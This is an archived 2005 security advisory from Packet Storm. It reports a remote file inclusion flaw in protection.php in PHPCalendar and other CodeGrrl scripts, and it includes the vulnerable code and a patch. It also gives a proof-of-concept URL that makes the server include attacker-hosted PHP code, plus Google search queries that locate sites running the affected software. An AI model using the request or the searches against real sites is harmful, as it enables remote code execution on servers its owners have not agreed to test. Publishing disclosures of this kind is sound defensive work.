Exploit the possiblities

PHPCalendar.txt

PHPCalendar.txt
Posted Nov 15, 2005
Authored by Robin Verton

A remote code execution vulnerability has been discovered in various CodeGrrl products including PHPCalendar, PHPClique, PHPFanBase, PHPCurrently, and PHPQuotes.

tags | exploit, remote, code execution
MD5 | cd96338a3b96453f9b3b5d5e28f63ef5

PHPCalendar.txt

Change Mirror Download
PHPCalendar (and some more codegrrl.com products) arbitrary code execution
==========================================================================


Software: PHPCalendar, PHPClique, PHPFanBase, PHPCurrently, PHPQuotes
Severity: Arbitrary code execution
Risk: High
Author: Robin Verton <r.verton@gmail.com>
Date: Sep. 24 2005
Vendor: codegrrl.com [contacted]


Description:

Written in PHP/MySQL, PHPCalendar is a script designed especially to help webmasters to mantain a calendar, with all upcoming events and birthdays.
It was designed to be used at personal sites, but it can also be very useful for fansites, to keep track of tours, premiers, awards shows,
tv apearances, interviews, magazines features, and many more! You can see it in use at unfloopy.net.
[http://www.codegrrl.com/]


Details:

1) protection.php (with register_globals = On)
If register_globals is on an attacker can include an arbitrary php file to execute malicious code.



$logout_page = "$siteurl";

[...]

if ($action == "logout")
{
Setcookie("logincookie[pwd]","",time() -86400);
Setcookie("logincookie[user]","",time() - 86400);
@include($logout_page);
exit;
}

Proof of Concept:

To exploit this vulnerability an attacker only has to use the following HTTP-Request:
http://www.example.com/protection.php?action=logout&siteurl=http://yourhost.com/malicoius-code.txt

Patch:
Set register_globals in the php.ini off or disallow direct access to the protection.php f.e. define constants and use
code like

if( !defined('IN_SYS') ) {
die('Hacking attempt');
}

to prevent the direct access

Credits:

Credit goes to Robin Verton, 15 years old from Germany

References:

[1] http://codegrrl.com
[2] http://www.google.com/search?q=%22Powered+by%3A+PHPFanBase%22 [about 112,000 results]
[3] http://www.google.com/search?q=%22Powered+by%3A+PHPCalendar%22 [about 44,000 results]
[4] http://www.google.com/search?q=%22Powered+by%3A+PHPCurrently%22 [about 44,000 results]
[5] http://www.google.com/search?q=%22Powered+by%3A+PHPClique%22
[6] http://www.google.com/search?q=%22Powered+by%3A+PHPQuotes%22






Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

Want To Donate?


Bitcoin: 18PFeCVLwpmaBuQqd5xAYZ8bZdvbyEWMmU

File Archive:

January 2018

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jan 1st
    2 Files
  • 2
    Jan 2nd
    13 Files
  • 3
    Jan 3rd
    16 Files
  • 4
    Jan 4th
    39 Files
  • 5
    Jan 5th
    26 Files
  • 6
    Jan 6th
    40 Files
  • 7
    Jan 7th
    2 Files
  • 8
    Jan 8th
    16 Files
  • 9
    Jan 9th
    25 Files
  • 10
    Jan 10th
    28 Files
  • 11
    Jan 11th
    44 Files
  • 12
    Jan 12th
    32 Files
  • 13
    Jan 13th
    2 Files
  • 14
    Jan 14th
    4 Files
  • 15
    Jan 15th
    31 Files
  • 16
    Jan 16th
    15 Files
  • 17
    Jan 17th
    16 Files
  • 18
    Jan 18th
    24 Files
  • 19
    Jan 19th
    0 Files
  • 20
    Jan 20th
    0 Files
  • 21
    Jan 21st
    0 Files
  • 22
    Jan 22nd
    0 Files
  • 23
    Jan 23rd
    0 Files
  • 24
    Jan 24th
    0 Files
  • 25
    Jan 25th
    0 Files
  • 26
    Jan 26th
    0 Files
  • 27
    Jan 27th
    0 Files
  • 28
    Jan 28th
    0 Files
  • 29
    Jan 29th
    0 Files
  • 30
    Jan 30th
    0 Files
  • 31
    Jan 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2018 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close